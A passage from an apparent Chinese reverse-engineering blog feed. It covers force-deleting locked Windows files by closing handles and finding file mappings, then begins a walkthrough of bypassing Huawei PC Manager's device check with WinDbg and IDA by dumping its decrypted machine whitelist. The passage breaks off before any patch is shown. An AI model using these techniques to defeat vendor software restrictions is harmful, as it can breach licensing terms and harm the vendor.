ObjectNameInformation, &amp;NameInfo, sizeof(NameInfo), NULL);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">ThreadHandle &#x3D; CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)QueryThread, Context, 0, NULL);</span><br><span class="line">Result &#x3D; WaitForSingleObject(ThreadHandle, 1000); &#x2F;&#x2F;等待1秒超时，线程退出</span><br><span class="line">TerminateThread(ThreadHandle, 0);</span><br><span class="line">CloseHandle(ThreadHandle);</span><br></pre></td></tr></table></figure> <h1 id="坑二：文件Map"><a href="#坑二：文件Map" class="headerlink" title="坑二：文件Map"></a>坑二：文件Map</h1><p>解决上面的问题之后，我们基本就解决了文件占用的问题，大部分情况下，我们可以正常删除文件了。</p> <p>可是…</p> <p>某些时候，我们要删除的文件并不是普通文件，可能是一个DLL、或者其他特殊文件。</p> <p>关闭所有占用的句柄后，依然无法删除文件，还是提示占用。</p> <p><img src="/img/2021-01-14-00-30-04.png" alt=""></p> <p>这可怎么办？</p> <p>类似于DLL这种文件，进程在使用中，操作系统会映射一份内存到进程空间，此时并没有句柄与之对应。</p> <p>但是它却关联了文件的内核对象，专业术语说增加了一次文件对象的引用。</p> <p>我们要知道，为了能够安全删除一个文件，操作系统需要保证该文件的内核对象在两种引用计数上清零。</p> <p>一个是句柄引用计数，一个是对象引用计数。</p> <p>前面我们通过枚举句柄，将句柄引用计数清零。</p> <p>但是因为共享内存的原因，对象引用计数仍未清零，所以无法删除文件。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; !handle 48</span><br><span class="line"></span><br><span class="line">PROCESS fffffa801b7c6060</span><br><span class="line">    SessionId: 1  Cid: 0b70    Peb: 7efdf000  ParentCid: 0588</span><br><span class="line">    DirBase: 1bfea000  ObjectTable: fffff8a0029f27e0  HandleCount: 157.</span><br><span class="line">    Image: procexp.exe</span><br><span class="line"></span><br><span class="line">Handle table at fffff8a0029f27e0 with 157 entries in use</span><br><span class="line"></span><br><span class="line">0004: Object: fffffa801bdcca10  GrantedAccess: 00000003 Entry: fffff8a0020cc010</span><br><span class="line">Object: fffffa801bdcca10  Type: (fffffa8018dcfa30) File</span><br><span class="line">    ObjectHeader: fffffa801bdcc9e0 (new version)</span><br><span class="line">        HandleCount: 0&#x2F;&#x2F;句柄引用计数  PointerCount: 1 &#x2F;&#x2F;对象引用计数</span><br></pre></td></tr></table></figure> <p>我们通过!vad俩看看内存map。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; !vad fffffa8019d34e00</span><br><span class="line">VAD           Level     Start       End Commit</span><br><span class="line">fffffa8019d34e00  0      1000      12ce      0 Mapped       READONLY           \Windows\Globalization\Sorting\SortDefault.nls</span><br><span class="line"></span><br><span class="line">0: kd&gt; dt _mmvad fffffa8019d34e00</span><br><span class="line">nt!_MMVAD</span><br><span class="line">   +0x000 u1               : &lt;unnamed-tag&gt;</span><br><span class="line">   +0x008 LeftChild        : (null) </span><br><span class="line">   +0x010 RightChild       : (null) </span><br><span class="line">   +0x018 StartingVpn      : 0x1000</span><br><span class="line">   +0x020 EndingVpn        : 0x12ce</span><br><span class="line">   +0x028 u                : &lt;unnamed-tag&gt;</span><br><span class="line">   +0x030 PushLock         : _EX_PUSH_LOCK</span><br><span class="line">   +0x038 u5               : &lt;unnamed-tag&gt;</span><br><span class="line">   +0x040 u2               : &lt;unnamed-tag&gt;</span><br><span class="line">   +0x048 Subsection       : 0xfffffa80&#96;1b56ef90 _SUBSECTION</span><br><span class="line">   +0x048 MappedSubsection : 0xfffffa80&#96;1b56ef90 _MSUBSECTION</span><br><span class="line">   +0x050 FirstPrototypePte : 0xfffff8a0&#96;00b02000 _MMPTE</span><br><span class="line">   +0x058 LastContiguousPte : 0xfffff8a0&#96;00b03670 _MMPTE</span><br><span class="line">   +0x060 ViewLinks        : _LIST_ENTRY [ 0xfffffa80&#96;18ec81c0 - 0xfffffa80&#96;18fcd190 ]</span><br><span class="line">   +0x070 VadsProcess      : 0xfffffa80&#96;1b7c6061 _EPROCESS</span><br><span class="line">0: kd&gt; dt 0xfffffa80&#96;1b56ef90 _SUBSECTION</span><br><span class="line">nt!_SUBSECTION</span><br><span class="line">   +0x000 ControlArea      : 0xfffffa80&#96;1b56ef10 _CONTROL_AREA</span><br><span class="line">   +0x008 SubsectionBase   : 0xfffff8a0&#96;00b02000 _MMPTE</span><br><span class="line">   +0x010 NextSubsection   : 0xfffffa80&#96;193a0a60 _SUBSECTION</span><br><span class="line">   +0x018 PtesInSubsection : 0x2cf</span><br><span class="line">   +0x020 UnusedPtes       : 0</span><br><span class="line">   +0x020 GlobalPerSessionHead : (null) </span><br><span class="line">   +0x028 u                : &lt;unnamed-tag&gt;</span><br><span class="line">   +0x02c StartingSector   : 0</span><br><span class="line">   +0x030 NumberOfFullSectors : 0x2cf</span><br><span class="line">0: kd&gt; dt 0xfffffa80&#96;1b56ef10 _CONTROL_AREA</span><br><span class="line">nt!_CONTROL_AREA</span><br><span class="line">   +0x000 Segment          : 0xfffff8a0&#96;03b31fd0 _SEGMENT</span><br><span class="line">   +0x008 DereferenceList  : _LIST_ENTRY [ 0x00000000&#96;00000000 - 0x00000000&#96;00000000 ]</span><br><span class="line">   +0x018 NumberOfSectionReferences : 0</span><br><span class="line">   +0x020 NumberOfPfnReferences : 0x101</span><br><span class="line">   +0x028 NumberOfMappedViews : 0x2a</span><br><span class="line">   +0x030 NumberOfUserReferences : 0x2a</span><br><span class="line">   +0x038 u                : &lt;unnamed-tag&gt;</span><br><span class="line">   +0x03c FlushInProgressCount : 0</span><br><span class="line">   +0x040 FilePointer      : _EX_FAST_REF</span><br><span class="line">   +0x048 ControlAreaLock  : 0n0</span><br><span class="line">   +0x04c ModifiedWriteCount : 0</span><br><span class="line">   +0x04c StartingFrame    : 0</span><br><span class="line">   +0x050 WaitList         : (null) </span><br><span class="line">   +0x058 u2               : &lt;unnamed-tag&gt;</span><br><span class="line">   +0x068 LockedPages      : 1</span><br><span class="line">   +0x070 ViewList         : _LIST_ENTRY [ 0xfffffa80&#96;1be91570 - 0xfffffa80&#96;1abbe690 ]</span><br><span class="line">0: kd&gt; dx -id 0,0,fffffa801b7c6060 -r1 (*((ntkrnlmp!_EX_FAST_REF *)0xfffffa801b56ef50))</span><br><span class="line">(*((ntkrnlmp!_EX_FAST_REF *)0xfffffa801b56ef50))                 [Type: _EX_FAST_REF]</span><br><span class="line">    [+0x000] Object           : 0xfffffa801b61fa14 [Type: void *]</span><br><span class="line">    [+0x000 ( 3: 0)] RefCnt           : 0x4 [Type: unsigned __int64]</span><br><span class="line">    [+0x000] Value            : 0xfffffa801b61fa14 [Type: unsigned __int64]</span><br><span class="line">0: kd&gt; !object 0xfffffa801b61fa10</span><br><span class="line">Object: fffffa801b61fa10  Type: (fffffa8018dcfa30) File</span><br><span class="line">    ObjectHeader: fffffa801b61f9e0 (new version)</span><br><span class="line">    HandleCount: 0  PointerCount: 5</span><br><span class="line">    Directory Object: 00000000  Name: \Windows\Globalization\Sorting\SortDefault.nls &#123;HarddiskVolume2&#125;</span><br><span class="line"></span><br><span class="line">0: kd&gt; dt _file_object 0xfffffa801b61fa10</span><br><span class="line">nt!_FILE_OBJECT</span><br><span class="line">   +0x000 Type             : 0n5</span><br><span class="line">   +0x002 Size             : 0n216</span><br><span class="line">   +0x008 DeviceObject     : 0xfffffa80&#96;19e9d530 _DEVICE_OBJECT</span><br><span class="line">   +0x010 Vpb              : 0xfffffa80&#96;19eca270 _VPB</span><br><span class="line">   +0x018 FsContext        : 0xfffff8a0&#96;00ad0140 Void</span><br><span class="line">   +0x020 FsContext2       : 0xfffff8a0&#96;00ad0330 Void</span><br><span class="line">   +0x028 SectionObjectPointer : 0xfffffa80&#96;1b61f808 _SECTION_OBJECT_POINTERS</span><br><span class="line">0: kd&gt; dx -id 0,0,fffffa801b7c6060 -r1 ((ntkrnlmp!_SECTION_OBJECT_POINTERS *)0xfffffa801b61f808)</span><br><span class="line">((ntkrnlmp!_SECTION_OBJECT_POINTERS *)0xfffffa801b61f808)                 : 0xfffffa801b61f808 [Type: _SECTION_OBJECT_POINTERS *]</span><br><span class="line">    [+0x000] DataSectionObject : 0xfffffa801b56ef10 [Type: void *] &#x2F;&#x2F;其实就是前面的_mmvad-&gt;Subsection-&gt;ControlArea</span><br><span class="line">    [+0x008] SharedCacheMap   : 0x0 [Type: void *]</span><br><span class="line">    [+0x010] ImageSectionObject : 0x0 [Type: void *]</span><br></pre></td></tr></table></figure> <p>SortDefault.nls是被映射到了进程中，通过_mmvad-&gt;Subsection-&gt;ControlArea-&gt;FilePointer我们可以一步步定位到它引用的文件对象。</p> <p><code>!object 0xfffffa801b61fa10</code>看到确实是该文件，也可以通过fileobject-&gt;SectionObjectPointer-&gt;DataSectionObject找到对应的映射内存。</p> <p>如此我们初步理解了文件map导致文件占用无法删除文件的原理。</p> <p>下面我们就需要找到方法怎么解决这个问题。</p> <p>首先，需要枚举进程的虚拟内存，找到是否有我们需要查找的文件的map，然后对该进程有两种操作：</p> <ol> <li>非常暴力但是简单的方法，那就是直接关闭进程</li> <li>或者unmap这块内存，解除对象引用计数（经过测试，未成功，待深入研究，也请大佬指教）</li> </ol> <p>如何枚举虚拟内存呢，使用<a href="https://docs.microsoft.com/en-us/previous-versions/dn957455(v=vs.85">ZwQueryVirtualMemory</a>).</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">NTSTATUS ZwQueryVirtualMemory(</span><br><span class="line">  _In_      HANDLE                   ProcessHandle,</span><br><span class="line">  _In_opt_  PVOID                    BaseAddress,</span><br><span class="line">  _In_      MEMORY_INFORMATION_CLASS MemoryInformationClass,</span><br><span class="line">  _Out_     PVOID                    MemoryInformation,</span><br><span class="line">  _In_      SIZE_T                   MemoryInformationLength,</span><br><span class="line">  _Out_opt_ PSIZE_T                  ReturnLength</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line">&#x2F;&#x2F;MemoryBasicInformation</span><br><span class="line">typedef struct _MEMORY_BASIC_INFORMATION &#123;</span><br><span class="line">  PVOID  BaseAddress;</span><br><span class="line">  PVOID  AllocationBase;</span><br><span class="line">  ULONG  AllocationProtect;</span><br><span class="line">  USHORT PartitionId;</span><br><span class="line">  SIZE_T RegionSize;</span><br><span class="line">  ULONG  State;</span><br><span class="line">  ULONG  Protect;</span><br><span class="line">  ULONG  Type;</span><br><span class="line">&#125; MEMORY_BASIC_INFORMATION, *PMEMORY_BASIC_INFORMATION;</span><br><span class="line"></span><br><span class="line">Type</span><br><span class="line">The type of pages in the region. The following types are defined.</span><br><span class="line">MEM_IMAGE 0x1000000 Indicates that the memory pages within the region are mapped into the view of an image section.</span><br><span class="line">MEM_MAPPED 0x40000 Indicates that the memory pages within the region are mapped into the view of a section.</span><br><span class="line">MEM_PRIVATE 0x20000 Indicates that the memory pages within the region are private (that is, not shared by other processes).</span><br></pre></td></tr></table></figure> <p>从0地址开始，每次加一个页，获取内存信息，如果内存的type是MEM_IMAGE或者MEM_MAPPED，那么就是文件map，然后获取虚拟内存对应名字，判断是不是目标文件。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">for (;;) &#123;</span><br><span class="line">    Status &#x3D; ZwQueryVirtualMemory(ProcessHandle, BaseAddress, MemoryBasicInformation,</span><br><span class="line">        &amp;MemoryInfo, sizeof(MemoryInfo), NULL);</span><br><span class="line">    if (MemoryInfo.Type &#x3D;&#x3D; MEM_IMAGE ||  &#x2F;&#x2F;image</span><br><span class="line">        MemoryInfo.Type &#x3D;&#x3D; MEM_MAPPED) &#123; &#x2F;&#x2F;data</span><br><span class="line">            Status &#x3D; ZwQueryVirtualMemory(ProcessHandle, BaseAddress, MemoryMappedFilenameInformation, &amp;Name, sizeof(Name), NULL);</span><br><span class="line">            if (RtlEqualUnicodeString(&amp;Name.u, &amp;TargetName, TRUE)) &#123;</span><br><span class="line">                &#x2F;&#x2F;找到目标文件</span><br><span class="line">                break;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure> <p>找到目标进程后，关闭进程，轻松删除文件。</p> <p>代码都在环3完成。工具在此：<a href="https://github.com/anhkgg/anhkgg-tools/blob/master/FileLock.exe">FileLock</a></p> <p>（完）</p> <p>转载请注明出处：<a href="https://anhkgg.github.io/unlockfile">https://anhkgg.github.io/unlockfile</a></p> <p>欢迎关注技术公众号：<strong><span style="color:red">汉客儿</span></strong><br><img src="/img/wx.png" alt="img"></p> ]]></content>          <summary type="html">            &lt;blockquote&gt; &lt;p&gt;author: anhkgg&lt;br&gt;date: 2021-01-14 11:17:27&lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;了解一点操作系统知识的同学们应该都知道，文件占用无法删除，是因为某些进程正在使用该文件。&lt;/p&gt; &lt;p&gt;&lt;img src=&quot;/img/2021-01-14-00-29-40.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt; &lt;p&gt;要删除这样的文件，就需要让那些进程关闭文件，然后自然可以删除。&lt;/p&gt; &lt;p&gt;一句话的事，那究竟要怎么用代码来实现这个功能呢？&lt;/p&gt;          </summary>            <category term="windows" scheme="https://anhkgg.github.io/categories/windows/"/>                 <category term="windows" scheme="https://anhkgg.github.io/tags/windows/"/>            <category term="unlockfile" scheme="https://anhkgg.github.io/tags/unlockfile/"/>        </entry>      <entry>     <title>华为电脑管家PcManager多屏协同功能破解</title>     <link href="https://anhkgg.github.io/huawei-pcmanager-nb/"/>     <id>https://anhkgg.github.io/huawei-pcmanager-nb/</id>     <published>2019-11-06T04:45:18.000Z</published>     <updated>2019-11-06T04:51:51.619Z</updated>          <content type="html"><![CDATA[<blockquote> <p>author: anhkgg<br>date: 2019年11月6日</p> </blockquote> <p>让友商电脑兼容了一下华为系专属的多屏协同功能</p> <p>笔者注：文中出现的大写<code>C</code>，请轻声念出北京大爷的口头禅。</p> <p>华为刚发布多屏协同功能的时候，我就被种草了。</p> <p>后来一天在微博看到<a href="https://m.weibo.cn/profile/3513171522">@Navis-MDT</a>发布的一个体验视频，果然碉堡了。</p> <p><a href="https://weibo.com/tv/v/IdIY7gwoF?fid=1034:4432710022688749">华为多频协同体验视频</a></p> <p>瞬间有点想从“米boy”转为“花粉”用户，这…当然是不可能的了。</p> <a id="more"></a> <p>翻看微博回复，看到华为手机副总裁<a href="https://m.weibo.cn/u/1945906841">@李小龙Bruce_Lee</a>也转发了该视频，并回复网友“为啥不面向非华为电脑”说：“不是故意不做其他品牌的电脑，是电脑上WIFI/蓝牙硬件和驱动太乱了，我们没精力搞定兼容性问题。大神们想破解我们也不会拦着。”</p> <p><img src="https://i.loli.net/2019/11/06/85obu7Gtvk9zVSZ.jpg" alt="0.jpg"></p> <p>对啊，怎么忘了自己也是“大神”啊（羞涩~~）。</p> <p>既然主人家都不反对，那我帮他们兼容一下，脑子开始发热，迅速准备搞一搞。</p> <p>是的，脑子非常热，导致前期资讯准备不足，后面踩了很多坑。</p> <p>下面且听我一一道来。</p> <h3 id="1"><a href="#1" class="headerlink" title="1"></a>1</h3><p>视频中提到华为电脑中需要使用“电脑管家”（视频中没看清界面），然后手机扫描连接即可。</p> <p>听到“电脑管家”第一反应就是华为多屏协同怎么还跟腾讯合作？懵逼，腾讯NB。</p> <p>后来一想不对，应该是华为自己的软件“电脑管家”，类似于小米笔记本上的“小米游戏盒子”之类的软件。</p> <p>没有华为电脑，先去搜搜看是否能下载到软件。</p> <p><img src="https://i.loli.net/2019/11/06/iC5pdE641nwNZjv.png" alt="1.png"></p> <p>果然有，华为官网很友好的给出了操作提示，果然是为客户着想的好公司。</p> <p><img src="https://i.loli.net/2019/11/06/b2eT3ODlm9R8yjp.png" alt="2.png"></p> <p>版本挺多，下一个最新的。然后我选择了<code>9.1.6.33</code>,因为我看到日期是<code>2019-11-01</code>。（请仔细看图，并记住这里）</p> <p><img src="https://i.loli.net/2019/11/06/TzPGDpwZyYXl1L9.png" alt="3.png"></p> <h3 id="2"><a href="#2" class="headerlink" title="2"></a>2</h3><p>OK，软件下回来了，接着就开始干正事了。</p> <p>习惯性地把软件拉入了虚拟机运行，结果双击后没反应，以为是鼠标出问题或者虚拟机太卡，连续试了好几次依然没反应。</p> <p>一瞬间，脑子里翻江倒海，难道华为加了反虚拟机、反调试、反…C</p> <p>直接上windbg吧，一运行，直接退出，才发现是乌龙。</p> <p>因为这两天在测试DLL劫持，留了个DLL在桌面，华为的“电脑管家”很不幸中枪了，被劫持，然后直接退出。（划重点）</p> <p>删掉DLL，终于有了反应，但是…提示只支持64位系统，而我用的是Win7 x86…C</p> <p><img src="https://i.loli.net/2019/11/06/fK7xSnAcZDCmksl.png" alt="4.png"></p> <p>换呗，还能咋办，切到Win7 x64虚拟机，问题又来了。</p> <p><img src="https://i.loli.net/2019/11/06/8zq1WLIKsiNRydT.png" alt="5.png"></p> <p>好吧，我错了，我直接本机win10安装吧，一分钟不到，终于装好了。</p> <p><img src="https://i.loli.net/2019/11/06/kWzVhx35HPIuc2y.png" alt="6.png"></p> <p>但是从下载到装好时间已经过去了30分钟，都是自己作的。</p> <h3 id="3"><a href="#3" class="headerlink" title="3"></a>3</h3><p>点击立即体验，看看界面长啥样。</p> <p>结果又退出了，退出了…出了…了</p> <p>咋回事？难道是直接验证到不是华为电脑，直接退出？</p> <p>继续windbg启动软件，看到如下信息：</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">Util!HttpUtil::OnDebug+0x13f8:</span><br><span class="line">00007fff&#96;0aa7a2c8 cc              int     3</span><br><span class="line">0:000&gt; kv</span><br><span class="line"> # Child-SP          RetAddr           : Args to Child                                                           : Call Site</span><br><span class="line">00 00000042&#96;558fed10 00007fff&#96;0aa78d2f : 00000219&#96;596f44a0 00000042&#96;558ff339 00000042&#96;558ff2f4 00000042&#96;558ff2f4 : Util!HttpUtil::OnDebug+0x13f8</span><br><span class="line">01 00000042&#96;558fee30 00007fff&#96;0ab05616 : 00000042&#96;558fefe0 00000219&#96;596f44a0 00007fff&#96;0aa60000 00000219&#96;59660000 : Util!mba::util::UrlsManager::ParseXml+0x63f</span><br><span class="line">02 00000042&#96;558fee70 00007fff&#96;0ab04879 : 00000000&#96;00000006 00000000&#96;00000006 00000042&#96;558ff2f4 00000042&#96;558ff339 : Util!CWMI::GetOutPutUIntByString+0x3bb6</span><br><span class="line">03 00000042&#96;558ff1b0 00007fff&#96;0ab04af2 : 00000000&#96;00000000 00000000&#96;00000000 00000042&#96;558ff3c0 00000000&#96;00000000 : Util!CWMI::GetOutPutUIntByString+0x2e19</span><br><span class="line">04 00000042&#96;558ff2d0 00007fff&#96;0aaf53df : 00000000&#96;00000000 7fffffff&#96;ffffffff 00000000&#96;00000000 00000000&#96;00000000 : Util!CWMI::GetOutPutUIntByString+0x3092</span><br><span class="line">05 00000042&#96;558ff3a0 00007ff6&#96;fa838ff3 : 7fffffff&#96;ffffffff 00000000&#96;00000000 7fffffff&#96;ffffffff 00000000&#96;00000000 : Util!SMBIOSHelper::IsSupportDevice+0x1f</span><br><span class="line">06 00000042&#96;558ff400 00007ff6&#96;fa852223 : 00000000&#96;00000000 00000000&#96;0000000a 00000000&#96;00000000 00000000&#96;00000000 : PCManager!SMBIOSHelper::operator&#x3D;+0xa93</span><br><span class="line">07 00000042&#96;558ffc20 00007fff&#96;4f6f7bd4 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 : PCManager!Compression::Compression+0x3b93</span><br><span class="line">08 00000042&#96;558ffc60 00007fff&#96;5150ced1 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 : KERNEL32!BaseThreadInitThunk+0x14</span><br><span class="line">09 00000042&#96;558ffc90 00000000&#96;00000000 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 : ntdll!RtlUserThreadStart+0x21</span><br><span class="line"></span><br><span class="line">0:000&gt; g</span><br><span class="line">ntdll!NtTerminateProcess+0x14:</span><br><span class="line">00007fff&#96;5153c644 c3              ret</span><br></pre></td></tr></table></figure> <p>咋还出现int3了呢，难道这里就是检查是不是华为电脑的位置。</p> <p>使用IDA开始粗略分析，进入int3的位置。一处异常，看不出什么东西。</p> <p><img src="https://i.loli.net/2019/11/06/r9fKE7tza1enAwu.png" alt="7.png"></p> <p>往上回溯两层，看到很重要的信息<code>SystemEnvironment::GetSupportMachineList</code>，确实很像是检查的地方。</p> <p><img src="https://i.loli.net/2019/11/06/o9CebfTBOFprmGD.png" alt="8.png"></p> <p>对<code>sub_180018D00</code>下断，查看参数。发现第三个参数指向一个xml配置文件路径，看名字很明显是表示支持的机器类型列表。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">0:000&gt; db 000001f0&#96;587329b0 </span><br><span class="line">000001f0&#96;587329c0  5c bb aa ce aa 5c 50 43-4d 61 6e 61 67 65 72 5f  \....\PCManager_</span><br><span class="line">000001f0&#96;587329d0  53 65 74 75 70 5f 39 2e-31 2e 36 2e 33 33 5c 48  Setup_9.1.6.33\H</span><br><span class="line">000001f0&#96;587329e0  75 61 77 65 69 5c 50 43-4d 61 6e 61 67 65 72 5c  uawei\PCManager\</span><br><span class="line">000001f0&#96;587329f0  5c 63 6f 6e 66 69 67 5c-4d 61 63 68 69 6e 65 54  \config\MachineT</span><br><span class="line">000001f0&#96;58732a00  79 70 65 4c 69 73 74 2e-78 6d 6c 00 ee fe ee ab  ypeList.xml.....</span><br></pre></td></tr></table></figure> <p>打开一看，加密了。</p> <p><img src="https://i.loli.net/2019/11/06/Xc81rRIJydlx9UE.png" alt="9.png"></p> <p>那看看附近代码，应该是先解密，可以把数据dump出来。</p> <p>通过IDA翻看了一下后面的函数，看到另一个特征<code>rapidxml::parse_error::</code>vftable`，这是用了rapidxml开源库来解析xml文档。</p> <p>把rapidxml的源码下回来，通过对比（一些log字符特征）来确认函数的功能。</p> <p><img src="https://i.loli.net/2019/11/06/MHL31kxyVCQph2a.png" alt="10.png"></p> <p>基本弄清楚xml解密到解析的过程，对<code>sub_180014EA0</code>下断，查看参数。果然拿到解密后的xml文件。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">0:000&gt; dq 000000315e6feb48</span><br><span class="line">00000031&#96;5e6feb48  000001ec&#96;051970b0 00000000&#96;00000000</span><br><span class="line">0:000&gt; db 000001ec&#96;051970b0</span><br><span class="line">000001ec&#96;051970b0  3c 3f 78 6d 6c 20 76 65-72 73 69 6f 6e 3d 22 31  &lt;?xml version&#x3D;&quot;1</span><br><span class="line">000001ec&#96;051970c0  2e 30 22 20 65 6e 63 6f-64 69 6e 67 3d 22 55 54  .0&quot; encoding&#x3D;&quot;UT</span><br><span class="line">000001ec&#96;051970d0  46 2d 38 22 3f 3e 20 0d-0a 3c 6d 61 63 68 69 6e  F-8&quot;?&gt; ..&lt;machin</span><br><span class="line">000001ec&#96;051970e0  65 54 79 70 65 6c 69 73-74 3e 20 0d 0a 09 3c 6d  eTypelist&gt; ...&lt;m</span><br></pre></td></tr></table></figure> <p>xml数据长这样。</p> <p><img src="https://i.loli.net/2019/11/06/SnPzyT7GfaAMihO.png" alt="11.png"></p> <p>看到这里，其实已经有一个思路了，就是把自己电脑的品牌加入xml文件，重新加密回去，就能够就能够使用华为电脑管家了。</p> <p>不过分析解密、拿品牌信息、加密等挺麻烦的，再看看还有方法吗？</p> <p>比如直接patch比较品牌的函数，绕过检查。</p> <p>继续分析，一堆xml的node的解析比较，因为华为在编译rapidxml时基本都是内联函数，导致跟源码结构并不是很一致，增加了分析难度。</p> <p>经过一段数据的比较，还没有找到绕过的点。</p> <p>我停了下来，看了看调用栈。</p> <figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">0:000&gt; kv</span><br><span class="line"> # Child-SP          RetAddr           : Args to Child                                                           : Call Site</span><br><span class="line">00 00000031&#96;5e6fea20 00007fff&#96;11184879 : 00000000&#96;00000006 00000000&#96;00000006 00000031&#96;5e6feea4 00000031&#96;5e6feee9 : Util!CWMI::GetOutPutUIntByString+0x4075</span><br><span class="line">01 00000031&#96;5e6fed60 00007fff&#96;11184af2 : 00000000&#96;00000000 00000000&#96;00000000 00000031&#96;5e6fef70 00000000&#96;00000000 : Util!CWMI::GetOutPutUIntByString+0x2e19</span><br><span class="line">02 00000031&#96;5e6fee80 00007fff&#96;111753df : 00000000&#96;00000000 7fffffff&#96;ffffffff 00000000&#96;00000000 00000000&#96;00000000 : Util!CWMI::GetOutPutUIntByString+0x3092</span><br><span class="line">03 00000031&#96;5e6fef50 00007ff7&#96;70a18ff3 : 7fffffff&#96;ffffffff 00000000&#96;00000000 7fffffff&#96;ffffffff 00000000&#96;00000000 : Util!SMBIOSHelper::IsSupportDevice+0x1f</span><br><span class="line">04 00000031&#96;5e6fefb0 00007ff7&#96;70a32223 : 00000000&#96;00000000 00000000&#96;0000000a 00000000&#96;00000000 00000000&#96;00000000 : PCManager!SMBIOSHelper::operator&#x3D;+0xa93</span><br><span class="line">05 00000031&#96;5e6ff7d0 00007fff&#96;4f6f7bd4 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 : PCManager!Compression::Compression+0x3b93</span><br><span class="line">06 00000031&#96;5e6ff810 00007fff&#96;5150ced1 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 : KERNEL32!BaseThreadInitThunk+0x14</span><br><span class="line">07 00000031&#96;5e6ff840 00000000&#96;00000000 : 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 00000000&#96;00000000 : ntdll!RtlUserThreadStart+0x21</span><br></pre></td></tr></table></figure> 